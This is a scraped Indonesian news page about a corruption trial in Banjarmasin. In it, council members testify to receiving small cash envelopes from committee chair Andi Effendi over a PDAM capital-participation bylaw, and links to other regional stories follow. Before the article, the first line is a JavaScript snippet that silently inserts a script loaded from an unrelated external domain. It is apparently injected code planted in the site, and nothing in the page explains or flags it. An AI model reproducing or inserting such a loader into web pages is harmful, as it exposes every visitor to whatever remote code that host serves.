(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Duh Malu, Masa Dewan Terima Uang Suap Cuma Rp 500 Ribu!


BANJARMASIN, Sidang kasus korupsi Raperda Penyertaan Modal PDAM Bandarmasih dengan terdakwa eks Dirut PDAM Muslih dan Manager Keuangannya Trensis, membuka tabir seputar mudahnya urusan bagi-bagi uang di lembaga legislatif tersebut. Yang lebih miris, ternyata jumlah yang dibagikan pun ternyata tak sepadan dengan statusnya di lembaga tersebut. Bayangkan, sekelas dewan tapi dikasih uang Rp 500 ribu. Ini namanya sudah; terlalu!

Fakta yang terkuak dalam surat dakwaan KPK bernomor DAK-77/24/11/2017 setebal 23 halaman  yang dibacakan tim jaksa KPK Ferdian Adi Nugroho beberapa waktu lalu, memang membuat shock masyarakat.

“Masak sih, anggota dewan mau aja menerima uang cuma Rp 500 ribu hanya untuk urusan begituan. Kalau saya sih, masih bisa mencari uang segitu dari hasil jualan,” demikian kata Saiful (42), penjual makanan yang ditemui di ajang pemeran Banjarbaru Book Fair, di Lapangan Murjani.

Tapi, dia berpikir mungkin saja para anggota dewan yang terhormat tersebut tak menyadari bahwa uang tersebut dimaksudkan untuk menyuap.

“Jika tahu, ya mungkin mereka tidak mau. Masak sih, suap dengan uang segitu,” ujarnya.

Mungkin apa yang disampaikan Saiful ada benarnya. Sebab hal tersebut ternyata juga diakui oleh sejumlah anggota dewan yang mengaku tak tahu jika uang yang diberikan oleh Ketua Pansus Penyertaan Modal Andi Effendi itu ternyata uang suap. Hal ini seperti disampaikan oleh Hj Ananda, Ketua DPRD Banjarmasin yang ketika kasus ini terjadi masih menjabat sebagai Bendahara di Komisi II DPRD Banjarmasin.

Ananda yang menjadi salah satu saksi dalam sidang yang berlangsung di PN Tipikor Banjarmasin, Selasa (28/11) lalu mengatakan menganggap uang yang diberikan Andi Effendi masih berkaitan dengan tugasnya di komisi.

“Saya juga sempat tanya ini uang apa, tapi dia bilang, sudah pegang saja. Saya tak curiga karena memang posisi saya ketika itu bendahara di Komisi II ,” jelasnya di persidangan.

Dia mengatakan, uang tersebut dia terima pada tanggal 4 September 2017. Saat itu, dia selesai shalat ashar di ruang Komisi II dan bertemu dengan Andi Effendi yang kebetulan juga akan menunaikan shalat. “Pas saya sedang lipat mukena dikasih uang itu,” kisahnya.

Di hadapan majelis hakim, Ananda sempat bertanya pada Andi, namun dia tidak mau mengatakan uang apa yang diberikan.  Setelah sampai dirumah, dia buka amplop pemberian yang berisi uang Rp 1 juta terdiri dari pecahan Rp 100 ribu sebayak 10 lembar.

Hal sama disampaikan Agus Suprapto, anggota dewan asal Partai Golkar ini mendapat uang dari Andi Effendi sebesar Rp 500 ribu. Uang tersebut diberikan ketika berpapasan di toilet DPRD Banjarmasin. Pun dengan Tugiatno, anggota DPRD dari PDIP.

Namun, semua uang yang dibagi-bagikan Andi Effendi tersebut telah dikembalikan oleh anggota dewan saat mereka diperiksa tim penyidik KPK. Kecuali oleh bekas Ketua DPRD Iwan Rusmali dan Andi Effendi  yang belum sempat mengembalikan.


Page: 1 2

Desy Arfianty

Recent Posts

DPRD Banjarbaru Beri Atensi pada Proses Hukum yang Adil bagi Tersangka Jumran

KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyatakan komitmennya untuk mengawal proses… Read More

4 menit ago

Terobos Cuaca Ekstrem di Muara Teweh, PLN Gerak Cepat Pulihkan Gangguan Jaringan Transmisi saat Idulfitri

KANALKALIMANTAN.COM, MUARA TEWEH – Di kala perayaan sukacita Idulfitri masih berlangsung, para insan PLN Unit… Read More

7 jam ago

Aksi Solidaritas untuk Juwita, Kawal Pengadilan Terbuka Terhadap Tersangka J

KANALKALIMANTAN.COM, BANJARBARU - Kawanan Jurnalis di Banjarbaru bersama mahasiswa dan organisasi menggelar aksi solidaritas mengawal… Read More

21 jam ago

Selain Dibunuh, Juwita Diduga Dirudapaksa J

KANALKALIMANTAN.COM, BANJARBARU - Proses penyidikan kematian tak wajar wartawati media online di Banjarbaru, Juwita yang… Read More

21 jam ago

Anggota TNI AL J Ditahan Resmi Tersangka, Kasus Pembunuhan Jurnalis Juwita Terus Berjalan

KANALKALIMANTAN.COM, BANJARMASIN - Terduga pelaku pembunuhan wartawati media online di Banjarbaru, Juwita baru saja resmi… Read More

1 hari ago

Alat Bukti Mobil yang Digunakan untuk Eksekusi Juwita Terparkir di Denpom Lanal Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Proses penyidikan kasus kematian wartawati media daring di Banjarbaru, Juwita, yang dibunuh… Read More

2 hari ago